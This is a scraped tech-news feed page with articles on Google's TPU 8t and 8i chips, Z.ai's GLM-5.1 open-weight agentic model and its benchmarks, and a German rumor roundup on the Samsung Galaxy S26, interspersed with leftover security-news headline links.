The more interesting story behind v8t and v8i is when the decision to split the roadmap was made. The call came in 2024, according to Vahdat — a year before the industry at large pivoted to reasoning models, agents and reinforcement learning as the dominant frontier workload.

At the time, it was a contrarian read. "We realized two years ago that one chip a year wouldn't be enough," Vahdat said during the fireside. "This is our first shot at actually going with two super high-powered specialized chips."

For enterprise buyers, the implication is concrete. Customers running fine-tuning or large-scale training on Google Cloud and customers serving production agents on Vertex AI have been renting the same accelerators and eating the inefficiency. V8 is the first generation where the silicon itself treats those as different problems with two sets of chips.

TPU 8t: A training fabric that scales to a million chips

On paper, TPU 8t is an aggressive generational step. According to Google, 8t delivers 2.8x the FP4 EFlops per pod (121 vs 42.5) against Ironwood, the seventh-generation TPU that shipped in 2025, doubles bidirectional scale-up bandwidth to 19.2 Tb/s per chip, and quadruples scale-out networking to 400 Gb/s per chip. Pod size grows modestly from 9,216 to 9,600 chips, held together by Google's 3D Torus topology.

The number that matters most to IT leaders evaluating where to run frontier-scale training: 8t clusters (Superpods) can scale beyond 1 million TPU chips in a single training job via a new interconnect Google is calling Virgo networking. 

8t also introduces TPU Direct Storage, which moves data from Google's managed storage tier directly into HBM without the usual CPU-mediated hops. For long training runs where wall-clock time is the cost driver, collapsing that data path reduces the number of pod-hours needed to finish each epoch.

TPU 8i and Boardfly: Re-engineering the network for agents

If 8t is an evolutionary step, TPU 8i is the more architecturally interesting chip. It is also where the story for IT buyers gets most compelling.

The year-over-year spec jumps are, as Vahdat put it, “stunning.” According to Google, 8i delivers 9.8x the FP8 EFlops per pod (11.6 vs 1.2), 6.8x the HBM capacity per pod (331.8 TB vs 49.2), and a pod size that grows 4.5x from 256 to 1,152 chips.

What drove those numbers is a rethink of the network itself. Vahdat explained the insight directly: Google's default way of connecting chips together supported bandwidth over latency — good for moving large amounts of data through, not built for the minimum time it takes a response to get back. That profile works for training. For agents, it does not. In partnership with Google DeepMind, the TPU team built what Google calls Boardfly topology specifically to reduce the network diameter — shrinking the number of hops between any two chips in a pod. Paired with a Collective Acceleration Engine and what Google describes as very large on-chip SRAM, 8i delivers a claimed 5x improvement in latency for real-time LLM sampling and reinforcement learning.

The vertical-integration moat: Why Google doesn't pay the "Nvidia tax"

The subtext across Vahdat's presentation was a six-layer diagram Google calls its AI stack: energy at the foundation, then data center land and enclosures, AI infrastructure hardware, AI infrastructure software, models (Gemini 3), and services on top. Vahdat noted that designing each layer in isolation forces you to the least common denominator for each layer. Google designs them together.

This is where the competitive story for IT buyers and analysts crystallizes. OpenAI, Anthropic, xAI and Meta all depend heavily on Nvidia silicon to train their frontier models. Every H200 and Blackwell GPU they buy carries Nvidia’s data-center gross margin — the informal "Nvidia tax" that industry analysts have flagged for two years running as a structural cost disadvantage for anyone renting rather than designing. Google pays fab, packaging and engineering costs on its TPUs. It does not pay that margin. 

What v8 means for the compute race: A new evaluation checklist for IT leaders

For procurement and infrastructure teams, TPUv8 reframes the 2026–2027 cloud evaluation in concrete ways.

Teams training large proprietary models should look at 8t availability windows, Virgo networking access, and goodput SLAs — not just headline EFlops. Teams serving agents or reasoning workloads should evaluate 8i availability on Vertex AI, independent latency benchmarks as they emerge, and whether HBM-per-pod sizing fits their context windows. Teams consuming Gemini through Gemini Enterprise should inherit the 8i lift and should expect the ceiling on what they can deploy in production to rise meaningfully through 2026.

The caveats are real. General availability is still "later in 2026." The v8 is a roadmap signal, not a procurement decision today. Google's benchmarks are self-reported; undoubtedly independent numbers will come from early cloud customers and third-party evaluators over the next two quarters. And portability between JAX/XLA and the CUDA/PyTorch ecosystem remains a friction cost worth thinking about when negotiating any multi-year commitment.

Looking further out, Vahdat made two predictions worth noting. First, general-purpose CPUs will see a resurgence inside AI systems — not as accelerators, but as orchestration compute for agent sandboxes, virtual machines and tool execution. Second, framed explicitly as an industry prediction rather than a Google roadmap preview, specialization also keeps going strong. As general-purpose CPUs gain plateau at a few percent a year, workloads that matter will demand purpose-built silicon. "Two chips might become more," Vahdat said — without specifying whether the "more" would mean future TPU variants or other classes of specialized accelerators.

The frontier compute race used to be a question of who could buy the most H100s. It is now a question of who controls the stack. The shortlist of companies that genuinely do is, for the moment, two: Google and Nvidia.

Read more →

The post You thought your growth was working. It wasn’t. appeared first on IT Security News.

Read more →

The post The exploit gap is closing, and your patch cycle wasn’t built for this appeared first on IT Security News.

Read more of this story at Slashdot.

Z.ai, also known as Zhupai AI, a Chinese AI startup best known for its powerful, open source GLM family of models, has unveiled GLM-5.1 today under a permissive MIT License, allowing for enterprises to download, customize and use it for commercial purposes. They can do so on Hugging Face.

This follows its release of GLM-5 Turbo, a faster version, under only proprietary license last month.

The new GLM-5.1 is designed to work autonomously for up to eight hours on a single task, marking a definitive shift from vibe coding to agentic engineering.

The release represents a pivotal moment in the evolution of artificial intelligence. While competitors have focused on increasing reasoning tokens for better logic, Z.ai is optimizing for productive horizons.

GLM-5.1 is a 754-billion parameter Mixture-of-Experts model engineered to maintain goal alignment over extended execution traces that span thousands of tool calls.

"agents could do about 20 steps by the end of last year," wrote z.ai leader Lou on X. "glm-5.1 can do 1,700 rn. autonomous work time may be the most important curve after scaling laws. glm-5.1 will be the first point on that curve that the open-source community can verify with their own hands. hope y'all like it^^"

In a market increasingly crowded with fast models, Z.ai is betting on the marathon runner. The company, which listed on the Hong Kong Stock Exchange in early 2026 with a market capitalization of $52.83 billion, is using this release to cement its position as the leading independent developer of large language models in the region.

Technology: the staircase pattern of optimization

GLM-5.1s core technological breakthrough isn't just its scale, though its 754 billion parameters and 202,752 token context window are formidable, but its ability to avoid the plateau effect seen in previous models.

In traditional agentic workflows, a model typically applies a few familiar techniques for quick initial gains and then stalls. Giving it more time or more tool calls usually results in diminishing returns or strategy drift.

Z.ai research demonstrates that GLM-5.1 operates via what they call a staircase pattern, characterized by periods of incremental tuning within a fixed strategy punctuated by structural changes that shift the performance frontier.

In Scenario 1 of their technical report, the model was tasked with optimizing a high-performance vector database, a challenge known as VectorDBBench.

The model is provided with a Rust skeleton and empty implementation stubs, then uses tool-call-based agents to edit code, compile, test, and profile. While previous state-of-the-art results from models like Claude Opus 4.6 reached a performance ceiling of 3,547 queries per second, GLM-5.1 ran through 655 iterations and over 6,000 tool calls. The optimization trajectory was not linear but punctuated by structural breakthroughs.

At iteration 90, the model shifted from full-corpus scanning to IVF cluster probing with f16 vector compression, which reduced per-vector bandwidth from 512 bytes to 256 bytes and jumped performance to 6,400 queries per second.

By iteration 240, it autonomously introduced a two-stage pipeline involving u8 prescoring and f16 reranking, reaching 13,400 queries per second. Ultimately, the model identified and cleared six structural bottlenecks, including hierarchical routing via super-clusters and quantized routing using centroid scoring via VNNI. These efforts culminated in a final result of 21,500 queries per second, roughly six times the best result achieved in a single 50-turn session.

This demonstrates a model that functions as its own research and development department, breaking complex problems down and running experiments with real precision.

The model also managed complex execution tightening, lowering scheduling overhead and improving cache locality. During the optimization of the Approximate Nearest Neighbor search, the model proactively removed nested parallelism in favor of a redesign using per-query single-threading and outer concurrency.

When the model encountered iterations where recall fell below the 95 percent threshold, it diagnosed the failure, adjusted its parameters, and implemented parameter compensation to recover the necessary accuracy. This level of autonomous correction is what separates GLM-5.1 from models that simply generate code without testing it in a live environment.

Kernelbench: pushing the machine learning frontier

The model's endurance was further tested in KernelBench Level 3, which requires end-to-end optimization of complete machine learning architectures like MobileNet, VGG, MiniGPT, and Mamba.

In this setting, the goal is to produce a faster GPU kernel than the reference PyTorch implementation while maintaining identical outputs. Each of the 50 problems runs in an isolated Docker container with one H100 GPU and is limited to 1,200 tool-use turns. Correctness and performance are evaluated against a PyTorch eager baseline in separate CUDA contexts.

The results highlight a significant performance gap between GLM-5.1 and its predecessors. While the original GLM-5 improved quickly but leveled off early at a 2.6x speedup, GLM-5.1 sustained its optimization efforts far longer. It eventually delivered a 3.6x geometric mean speedup across 50 problems, continuing to make useful progress well past 1,000 tool-use turns.

Although Claude Opus 4.6 remains the leader in this specific benchmark at 4.2x, GLM-5.1 has meaningfully extended the productive horizon for open-source models.

This capability is not simply about having a longer context window; it requires the model to maintain goal alignment over extended execution, reducing strategy drift, error accumulation, and ineffective trial and error. One of the key breakthroughs is the ability to form an autonomous experiment, analyze, and optimize loop, where the model can proactively run benchmarks, identify bottlenecks, adjust strategies, and continuously improve results through iterative refinement.

All solutions generated during this process were independently audited for benchmark exploitation, ensuring the optimizations did not rely on specific benchmark behaviors but worked with arbitrary new inputs while keeping computation on the default CUDA stream.

Product strategy: subscription and subsidies

GLM-5.1 is positioned as an engineering-grade tool rather than a consumer chatbot. To support this, Z.ai has integrated it into a comprehensive Coding Plan ecosystem designed to compete directly with high-end developer tools.

The product offering is divided into three subscription tiers, all of which include free Model Context Protocol tools for vision analysis, web search, web reader, and document reading.

The Lite tier at $27 USD per quarter is positioned for lightweight workloads and offers three times the usage of a comparable Claude Pro plan. The Pro tier at $81 per quarter is designed for complex workloads, offering five times the Lite plan usage and 40 to 60 percent faster execution.

The Max tier at $216 per quarter is aimed at advanced developers with high-volume needs, ensuring guaranteed performance during peak hours.

For those using the API directly or through platforms like OpenRouter or Requesty, Z.ai has priced GLM-5.1 at $1.40 per one million input tokens and $4.40 per million output tokens. There's also a cache discount available for $0.26 per million input tokens.

Notably, the model consumes quota at three times the standard rate during peak hours, which are defined as 14:00 to 18:00 Beijing Time daily, though a limited-time promotion through April 2026 allows off-peak usage to be billed at a standard 1x rate. Complementing the flagship is the recently debuted GLM-5 Turbo.

While 5.1 is the marathon runner, Turbo is the sprinter, proprietary and optimized for fast inference and tasks like tool use and persistent automation.

At a cost of $1.20 per million input / $4 per million output, it is more expensive than the base GLM-5 but comes in at more affordable than the new GLM-5.1, positioning it as a commercially attractive option for high-speed, supervised agent runs.

The model is also packaged for local deployment, supporting inference frameworks including vLLM, SGLang, and xLLM. Comprehensive deployment instructions are available at the official GitHub repository, allowing developers to run the 754 billion parameter MoE model on their own infrastructure.

For enterprise teams, the model includes advanced reasoning capabilities that can be accessed via a thinking parameter in API requests, allowing the model to show its step-by-step internal reasoning process before providing a final answer.

Benchmarks: a new global standard

The performance data for GLM-5.1 suggests it has leapfrogged several established Western models in coding and engineering tasks.

On SWE-Bench Pro, which evaluates a model's ability to resolve real-world GitHub issues using an instruction prompt and a 200,000 token context window, GLM-5.1 achieved a score of 58.4. For context, this outperforms GPT-5.4 at 57.7, Claude Opus 4.6 at 57.3, and Gemini 3.1 Pro at 54.2.

Beyond standardized coding tests, the model showed significant gains in reasoning and agentic benchmarks. It scored 63.5 on Terminal-Bench 2.0 when evaluated with the Terminus-2 framework and reached 66.5 when paired with the Claude Code harness.

On CyberGym, it achieved a 68.7 score based on a single-run pass over 1,507 tasks, demonstrating a nearly 20-point lead over the previous GLM-5 model. The model also performed strongly on the MCP-Atlas public set with a score of 71.8 and achieved a 70.6 on the T3-Bench.

In the reasoning domain, it scored 31.0 on Humanitys Last Exam, which jumped to 52.3 when the model was allowed to use external tools. On the AIME 2026 math competition benchmark, it reached 95.3, while scoring 86.2 on GPQA-Diamond for expert-level science reasoning.

The most impressive anecdotal benchmark was the Scenario 3 test: building a Linux-style desktop environment from scratch in eight hours.

Unlike previous models that might produce a basic taskbar and a placeholder window before declaring the task complete, GLM-5.1 autonomously filled out a file browser, terminal, text editor, system monitor, and even functional games.

It iteratively polished the styling and interaction logic until it had delivered a visually consistent, functional web application. This serves as a concrete example of what becomes possible when a model is given the time and the capability to keep refining its own work.

Licensing and the open segue

The licensing of these two models tells a larger story about the current state of the global AI market. GLM-5.1 has been released under the MIT License, with its model weights made publicly available on Hugging Face and ModelScope.

This follows the Z.ai historical strategy of using open-source releases to build developer goodwill and ecosystem reach. However, GLM-5 Turbo remains proprietary and closed-source. This reflects a growing trend among leading AI labs toward a hybrid model: using open-source models for broad distribution while keeping execution-optimized variants behind a paywall.

Industry analysts note that this shift arrives amidst a rebalancing in the Chinese market, where heavyweights like Alibaba are also beginning to segment their proprietary work from their open releases.

Z.ai CEO Zhang Peng appears to be navigating this by ensuring that while the flagship's core intelligence is open to the community, the high-speed execution infrastructure remains a revenue-driving asset.

The company is not explicitly promising to open-source GLM-5 Turbo itself, but says the findings will be folded into future open releases. This segmented strategy helps drive adoption while allowing the company to build a sustainable business model around its most commercially relevant work.

Community and user reactions: crushing a week's work

The developer community response to the GLM-5.1 release has been overwhelmingly focused on the model's reliability in production-grade environments.

User reviews suggest a high degree of trust in the model's autonomy.

One developer noted that GLM-5.1 shocked them with how good it is, stating it seems to do what they want more reliably than other models with less reworking of prompts needed. Another developer mentioned that the model's overall workflow from planning to project execution performs excellently, allowing them to confidently entrust it with complex tasks.

Specific case studies from users highlight significant efficiency gains.

A user from Crypto Economy News reported that a task involving preprocessing code, feature selection logic, and hyperparameter tuning solutions, which originally would have taken a week, was completed in just two days. Since getting the GLM Coding plan, other developers have noted being able to operate more freely and focus on core development without worrying about resource shortages hindering progress.

On social media, the launch announcement generated over 46,000 views in its first hour, with users captivated by the eight-hour autonomous claim. The sentiment among early adopters is that Z.ai has successfully moved past the hallucination-heavy era of AI into a period where models can be trusted to optimize themselves through repeated iteration.

The ability to build four applications rapidly through correct prompting and structured planning has been cited by multiple users as a game-changing development for individual developers.

The implications of long-horizon work

The release of GLM-5.1 suggests that the next frontier of AI competition will not be measured in tokens per second, but in autonomous duration.

If a model can work for eight hours without human intervention, it fundamentally changes the software development lifecycle.

However, Z.ai acknowledges that this is only the beginning. Significant challenges remain, such as developing reliable self-evaluation for tasks where no numeric metric exists to optimize against.

Escaping local optima earlier when incremental tuning stops paying off is another major hurdle, as is maintaining coherence over execution traces that span thousands of tool calls.

For now, Z.ai has placed a marker in the sand. With GLM-5.1, they have delivered a model that doesn't just answer questions, but finishes projects. The model is already compatible with a wide range of developer tools including Claude Code, OpenCode, Kilo Code, Roo Code, Cline, and Droid.

For developers and enterprises, the question is no longer, "what can I ask this AI?" but "what can I assign to it for the next eight hours?"

The focus of the industry is clearly shifting toward systems that can reliably execute multi-step work with less supervision. This transition to agentic engineering marks a new phase in the deployment of artificial intelligence within the global economy.

The post I Finally Built My First AI App (And It Wasn’t What I Expected) appeared first on Towards Data Science.

Read more →

The post The DocuSign Email That Wasn’t – A Three-Redirect Credential Harvest appeared first on IT Security News.

Heute ab 19 Uhr im Live-Stream: Samsung stellt beim Unpacked Event das Galaxy S26, S26+ und S26 Ultra vor

Der Countdown läuft: Heute um 19 Uhr deutscher Zeit zeigt Samsung seine neue Galaxy-S-Generation. Die Präsentation von Galaxy S26, S26+ und S26 Ultra können Sie hier live im Stream mitverfolgen:

Hier erfahren Sie alles, was bislang über die neuen Smartphones bekannt ist.

Wenn es um Flaggschiff-Smartphones geht, verschwendet Samsung keine Zeit: Mit jedem neuen Jahr hat der koreanische Tech-Gigant zuletzt immer eine neue Galaxy-S-Serie auf den Markt gebracht. Das wird auch 2026 so weitergehen, jetzt steht das Galaxy S26 vor der Tür. Wenn man aktuellen Gerüchten Glauben schenken darf, dann erwarten uns damit wieder einige spannende Neuerungen und kleine Tech-Revolutionen.

Zur Erinnerung: Die Galaxy S25-Serie wurde im Januar 2025 eingeführt und besteht aus drei Modellen: Das Galaxy S25, S25 Plus und S25 Ultra sowie das schlanke Galaxy S25 Edge wurden auf der gleichen Veranstaltung angekündigt und kamen im Mai auf den Markt.

Doch was hat Samsung für seine nächste Generation von High-End-Handys geplant? In den letzten Wochen haben sich die Gerüchte spürbar verdichtet – inklusive konkreter Leak-Angaben von bekannten Insidern. Hier finden Sie alles, was wir derzeit über Erscheinungsdatum, Preis, Technik und Features wissen.

Wann wird das Samsung Galaxy S26 auf den Markt kommen?

Ursprünglich ging man davon aus, dass Samsung seinem gewohnten Veröffentlichungsrhythmus treu bleibt und die Galaxy-S26-Serie im Januar 2026 vorstellt. Doch der Launch blieb aus.

Zwischenzeitlich kursierten sogar Berichte über eine Vorstellung erst im März, ausgelöst durch angebliche Probleme bei Samsungs Exynos-Strategie. Mittlerweile steht fest, dass der Launch am 25. Februar in San Francisco ist. Hier können Sie den Event verfolgen, der um 19 Uhr unserer Zeit beginnt. Wenn Sie sich vorab ein Galaxy S26 reservieren, sichern Sie sich einen Gutschein über 30 Euro und ein Speicher-Upgrade.

Hier zur Erinnerung die Veröffentlichungszeiträume der bisherigen Flaggschiffe der S-Serie, abgesehen vom neuen Edge-Modell:

• Samsung Galaxy S25 – Januar 2025
• Samsung Galaxy S25 – Januar 2025
• Samsung Galaxy S25 Ultra – Januar 2025
• Samsung Galaxy S25 Edge – Mai 2025
• Samsung Galaxy S24 – Januar 2024
• Samsung Galaxy S24 – Januar 2024
• Samsung Galaxy S24 Ultra – Januar 2024
• Samsung Galaxy S23 – Februar 2023
• Samsung Galaxy S23 – Februar 2023
• Samsung Galaxy S23 Ultra – Februar 2023
• Samsung Galaxy S22 – Februar 2022
• Samsung Galaxy S22 – Februar 2022
• Samsung Galaxy S22 Ultra – Februar 2022

Wie man sieht, bleiben Samsung-Launches dem Jahresanfang treu, nur diesmal eben etwas später als gewohnt.

Luke Baker / Foundry

Quellen: Ice Universe on X (2) | The Elec (2) | Yogesh Brar on X | Android Authority | TechManiacs | Chosun Biz | Evan Blass

Wie viel wird die Samsung Galaxy S26-Serie kosten?

Die Preisgestaltung bleibt ein sensibles Thema. Während Samsung in den letzten Jahren größere Preissprünge vermieden hat, deuten aktuelle Berichte auf moderate oder sogar deutliche Erhöhungen in einzelnen Märkten hin: Warum Samsung das Galaxy S26 bis zu 200 Euro teurer machen könnte.

Während das Galaxy S25 in der günstigsten Variante noch 128 GB Speicher hatte, soll das S26 künftig mit 256 GB starten. Das bedeutet für Käufer zwar doppelt so viel Speicher, gleichzeitig steigt der Einstiegspreis auf rund 1.050 Euro – der “gefühlte” Aufschlag im Vergleich zum S25-Basismodell liegt so bei etwa 200 Euro.

Die aktuell besten Preise für das Galaxy S25

Shop

Preis

719,00 €

Jetzt ansehen

726,99 €

Jetzt ansehen

899,00 €

Jetzt ansehen

899,00 €

Jetzt ansehen

959,00 €

Jetzt ansehen

Preisvergleich (über 24.000 Shops weltweit) Weitere Angebote

Produkt

Preis

Preisvergleich von Backmarket

Luke Baker / Foundry

Klar ist: Global steigende Speicher- und Produktionskosten setzen Samsung unter Druck. Ob sich das letztlich auch in Europa bemerkbar macht, wird sich erst zum Marktstart zeigen.

Es besteht aber auch die Möglichkeit, dass die Preise einfach gleich bleiben. Zur Erinnerung: Die Galaxy S25-Serie kostet das Gleiche wie die Galaxy S24-Serie:

Galaxy S25

• 128 GB – 899 Euro
• 256 GB – 959 Euro

Galaxy S25 Plus

• 256 GB – 1.149 Euro
• 512 GB – 1.269 Euro

Galaxy S25 Ultra

• 256 GB – 1.449 Euro
• 512 GB – 1.569 Euro
• 1 TB – 1.809 Euro

Welche Technik und Features wird das Samsung Galaxy S26 haben?

Das Design: vertraut, aber weiterentwickelt

Nachdem es zunächst Gerüchte über ein komplett neues Modell-Line-up gab – inklusive eines angeblichen „Galaxy S26 Pro“ – gelten diese inzwischen als widerlegt. Mehrere CAD-Render sowie Real-Life-Leaks, die auf X (Twitter) aufgetaucht sind, zeichnen inzwischen ein recht klares Bild: Samsung bleibt bei der bekannten Dreiteilung aus Galaxy S26, S26+ und S26 Ultra.

Neu ist jedoch, dass Samsung beim grundsätzlichen Look wieder leicht umschwenkt. So kehrt offenbar ein klassisches Kamera-Plateau zurück, bei dem die Linsen nicht mehr einzeln aus dem Gehäuse herausragen, sondern auf einer gemeinsamen Erhebung sitzen.

Auch bei den Abmessungen tut sich etwas: Das reguläre Galaxy S26 soll mit nur noch 6,9 Millimetern spürbar dünner werden als sein Vorgänger, während das Galaxy S26+ mit 7,3 Millimetern seine bisherige Bauhöhe beibehält. Das Galaxy S26 Ultra wiederum soll ebenfalls schlanker ausfallen und mit rund 7,9 Millimetern sowie einem Gewicht von etwa 214 Gramm deutlich handlicher werden als frühere Ultra-Modelle.

6.9mm Galaxy S26 pic.twitter.com/JHJIYplt2K

— Ice Universe (@UniverseIce) November 8, 2025

Überraschend ist zudem die Materialwahl beim Spitzenmodell. Statt wie zuletzt auf Titan zu setzen, soll das Galaxy S26 Ultra wieder einen Aluminiumrahmen erhalten. Als Grund werden thermische Vorteile genannt, also eine bessere Wärmeabfuhr unter Last. Auch der S Pen bleibt nicht unangetastet: Er soll leicht neu gestaltet werden, um besser mit den stärker abgerundeten Kanten des Geräts zu harmonieren.

Credit: Onleaks, Android Headlines

Es wäre auf jeden Fall schön, wenn der S Pen mit Bluetooth des Galaxy S24 Ultra zurückkehren würde, nachdem er beim S25 Ultra durch einen weniger funktionalen Stift ersetzt wurde.

Übrigens: Es sind schon spezifische CAD-Renderings des S26 Ultra aufgetaucht und animiert worden, die ein sehr ähnliches Design wie das S25 Ultra zeigen:

Auf X sind zuletzt weitere spannende Design-Leaks aufgetaucht:

Recently, I had the opportunity to see part of the real Galaxy S26 Ultra design in person. One thing is certain: it has finally abandoned the much-criticized, cheap-looking “vinyl record” camera ring design.

The new design looks more like the metal rings around the cameras on… pic.twitter.com/z7JMxZht7X

— Ice Universe (@UniverseIce) January 4, 2026

#Samsung #GalaxyS26 #GalaxyS26Ultra pic.twitter.com/5wFb4aiZiL

— Steve H.McFly (@OnLeaks) December 30, 2025

#Samsung #GalaxyS26Ultra pic.twitter.com/0lzaFIxYev

— Steve H.McFly (@OnLeaks) December 30, 2025

Quellen: The Elec | Android Headlines (2) (3) (4) (5) | PhoneArt via X (2) (3) (4) (5) (6) | Android Headlines (2) | Sonny Dickson via X | Smartprix | Ice Universe via X

Display: Mehr Technik, mehr Privatsphäre

Beim Display plant Samsung offenbar behutsame, aber gezielte Anpassungen. Das Standard-Galaxy S26 soll auf eine Bildschirmdiagonale von 6,3 Zoll wachsen. Möglich wird das vermutlich durch nochmals schmalere Display-Ränder, sodass das Gerät insgesamt kompakt bleibt. Die Größen der anderen beiden Modelle sollen hingegen unverändert bleiben.

Das Galaxy S26 Ultra dürfte dafür technisch deutlich zulegen. Mehrere Leaks sprechen von der Integration der sogenannten CoE-Technik (Colour-filter-on-thin-film-encapsulation), die das Panel dünner, heller und zugleich energieeffizienter machen soll. Zusätzlich ist eine spezielle Entspiegelung im Gespräch, die interne Reflexionen reduziert. Ergänzt werden könnte das Ganze durch Samsungs neue Flex-Magic-Pixel-Technik, mit der sich der Blickwinkel einzelner Pixel gezielt steuern lässt.

Luke Baker / Foundry

In Kombination sollen diese Technologien eine neue Funktion ermöglichen, die intern als „Privacy Display“ bezeichnet wird. Dabei handelt es sich im Prinzip um einen digitalen Blickschutz, der Inhalte für Personen außerhalb des direkten Blickwinkels schwerer erkennbar macht – ganz ohne zusätzliche Schutzfolie.

Leistung: Exynos kehrt zurück – aber nicht überall

Bei der Prozessorwahl zeichnet sich laut aktuellen Leaks eine klare Aufteilung ab. Während das Galaxy S26 und das Galaxy S26+ voraussichtlich mit Samsungs neuem Exynos 2600 ausgestattet werden, soll das Galaxy S26 Ultra weltweit auf den Snapdragon 8 Elite Gen 5 von Qualcomm setzen.

Der Exynos 2600 gilt als besonders spannend, da es sich um Samsungs ersten 2-Nanometer-Chip handeln soll. Mehrere Beiträge auf X sprechen von deutlichen Leistungszuwächsen, insbesondere bei KI-Berechnungen und der Grafikleistung. Zusätzlich könnte ein separater Exynos-Konnektivitätschip zum Einsatz kommen, der unter anderem Bluetooth 6.1 unterstützt und den Hauptprozessor entlastet.

Luke Baker / Foundry

Als nahezu sicher gilt inzwischen auch, dass Samsung beim Speicher aufräumt: Ein 128-GB-Modell soll es beim Galaxy S26 nicht mehr geben. Der Einstieg dürfte stattdessen direkt bei 256 GB beginnen.

Breaking: Exynos 2600 Performance Leaked

According to reports from Korean media, the Exynos 2600 delivers the following performance:
• Over 6× stronger NPU performance compared to Apple’s A19 Pro chipset
• 14% higher multi-core CPU performance
• 75%…

— Jukan (@jukan05) October 20, 2025

Samsung hat den Exynos 2600 in diesem Video angekündigt:

Quellen: Jukanlosreve on X (2) | The Bell (2) | The Financial News | Android Authority (2) | Android Headlines (2) | PhoneArt via X (2) (3) (4) | ET News | The Korea Herald | Schrodinger’s Leaks | SamMobile

Kameras: Evolution statt Revolution

Lange Zeit bestand die Hoffnung, dass Samsung dem Galaxy S26 Ultra ein deutliches Kamera-Upgrade spendieren würde. Insbesondere durch einen neuen, größeren Hauptsensor. Diese Erwartungen haben sich inzwischen aber relativiert: Aktuelle Leaks deuten darauf hin, dass das Ultra-Modell weiterhin auf einen 200-Megapixel-Sensor im 1/1,3-Zoll-Format setzt. Ganz ohne Verbesserung bleibt es dennoch nicht: Die Hauptkamera soll eine größere Blendenöffnung von f/1.4 erhalten, was vor allem bei Aufnahmen bei wenig Licht spürbare Vorteile bringen könnte.

Auch beim Teleobjektiv sind kleinere Anpassungen geplant. Das Galaxy S26 Ultra soll erneut eine 50-Megapixel-Periskopkamera mit fünffachem optischem Zoom erhalten, allerdings mit einer größeren Blende als beim Vorgänger, um die Lichtausbeute beim Zoomen zu verbessern. Darüber hinaus sollen alle drei Modelle der S26-Reihe den gleichen 10-Megapixel-Tele-Sensor für dreifache Vergrößerung nutzen – eine Entscheidung, die laut Leak-Posts auf X bei einigen Fans für Enttäuschung sorgt, da es sich dabei um einen bekannten Sensor handelt.

Neue Informationen aus einem Sensorvergleich mit einem kommenden Vivo-Flaggschiff legen zudem nahe, dass das Periskop-Objektiv des S26 Ultra zwar solide, aber nicht mehr Klassenbester sein dürfte. Samsung scheint hier eher auf bewährte Technik als auf einen radikalen Sprung zu setzen.

Luke Baker / Foundry

Bei der Frontkamera zeichnet sich ebenfalls ein klareres Bild ab. Gerüchte über eine Under-Display-Selfie-Kamera gelten inzwischen als unwahrscheinlich. Stattdessen bleibt die Frontkamera sichtbar im Display untergebracht. Beim S26 Ultra soll der Ausschnitt sogar etwas größer ausfallen, was ein weiteres Sichtfeld von bis zu 85 Grad ermöglichen könnte. Das wäre zum Beispiel für Gruppen-Selfies praktisch.

Für das Galaxy S26 und das S26+ sind hingegen keine nennenswerten Kamera-Upgrades zu erwarten. Laut aktuellen Leaks bleiben sowohl die Front- als auch die Hauptkameras dieser beiden Modelle weitgehend unverändert.

I can say with certainty that the Samsung Galaxy S26, S26+, and S26 Ultra all use the same 3x camera specification, which is as follows:
3x camera : 10MP , ISOCELL , 1/3.94" , 1.0μm , F2.4，36°
Its effective pixel count is 10MP, not 12MP.
Please take a screenshot and save it for… pic.twitter.com/PJoJOLLrQY

— Ice Universe (@UniverseIce) November 10, 2025

Luke Baker / Foundry

Quellen: Ice Universe on Weibo | kro (Good bye) on X | Lanzuk on Naver | Galaxy Club | The Elec | WinFuture | Android Headlines (2) | Fixed focus digital via Weibo | PhoneArt via X (2) (3) (4) (5) (6) | GSMArena (2) | IceUniverse on X | ETNews | Erencan Yilmaz

Akku & Aufladen: kleine Schritte statt großer Sprünge

Beim Thema Akku zeichnet sich ein eher ernüchterndes Bild ab. Nachdem lange Zeit über deutlich größere Akkus und den Einsatz neuer Silizium-Kohle-Technologien spekuliert wurde, sprechen aktuelle Leaks von vergleichsweise überschaubaren Anpassungen.

Demnach soll nur das Standard-Galaxy S26 eine leichte Verbesserung erhalten und von 4.000 auf 4.300 mAh wachsen. Das Galaxy S26+ bleibt voraussichtlich bei 4.900 mAh, während das Galaxy S26 Ultra erneut mit einem 5.000-mAh-Akku ausgestattet sein soll. Angesichts der deutlich größeren Akkus bei einigen chinesischen Konkurrenzmodellen wirkt das eher konservativ.

Beim Laden zeigt sich Samsung dagegen etwas ambitionierter – allerdings ebenfalls nicht über alle Modelle hinweg. Die wichtigsten Unterschiede lassen sich so zusammenfassen:

• Galaxy S26 Ultra: bis zu 60 Watt kabelgebunden, bis zu 25 Watt kabellos
• Galaxy S26: weiterhin 25 Watt kabelgebunden
• Galaxy S26+: weiterhin 45 Watt kabelgebunden

Samsung Galaxy S26 Ultra 3C certification confirms 60 watt wired charging and the certification also clearly confirms that S26 Ultra one variant also supports satellite connectivity and adapter will be sold separately mentioned whereas previous 3C certification listing confirmed… https://t.co/U91Fx70cDf pic.twitter.com/ctLqUshotj

— Abhishek Yadav (@yabhishekhd) December 12, 2025

Besonders das Ultra-Modell profitiert von den Neuerungen. Zwar sind 60 Watt noch immer unter dem Niveau mancher Wettbewerber, dennoch stellt dies einen klaren Schritt nach vorn gegenüber den bisherigen 45 Watt dar. Erste geleakte Testwerte deuten allerdings darauf hin, dass sich der Geschwindigkeitsvorteil in der Praxis in Grenzen hält.

Ein echtes Highlight könnte hingegen das kabellose Laden werden. Die Galaxy-S26-Serie soll erstmals Qi2 mit magnetischer Ausrichtung direkt unterstützen, eine Art Magsafe-Äquivalent für Android-Geräte. Während die Galaxy-S25-Modelle hierfür noch eine spezielle Hülle benötigen, sollen die Magnete nun direkt im Gehäuse sitzen. Passend dazu könnte Samsung einen eigenen Qi2-Lader mit bis zu 25 Watt auf den Markt bringen.

I have compiled the most accurate comprehensive parameter comparison of Galaxy S25, S25+ and Galaxy S26、 S26+. Which one do you want to buy? pic.twitter.com/aQpoSvYjOz

— Ice Universe (@UniverseIce) November 29, 2025

Unterm Strich bleiben die Akku-Upgrades überschaubar. Allerdings besteht die Hoffnung, dass die neuen Prozessoren – sowohl der Exynos 2600 als auch der Snapdragon 8 Elite Gen 5 – effizienter arbeiten und so trotz ähnlicher Akkukapazitäten für längere Laufzeiten sorgen.

Quellen: Ice Universe on Weibo | Jukanlosreve on X | The Financial News | PandaFlash on X | Android Authority (2) | The Elec | PhoneArt via X (2) (3) (4) (5) (6) (7) | Erencan Yılmaz via X | GalaxyClub | GSMArena | Android Headlines (2) (3) | Momentary Digital on Weibo | WinFuture | Abhishek Yadav via X

Android-Basis & Benutzeroberfläche

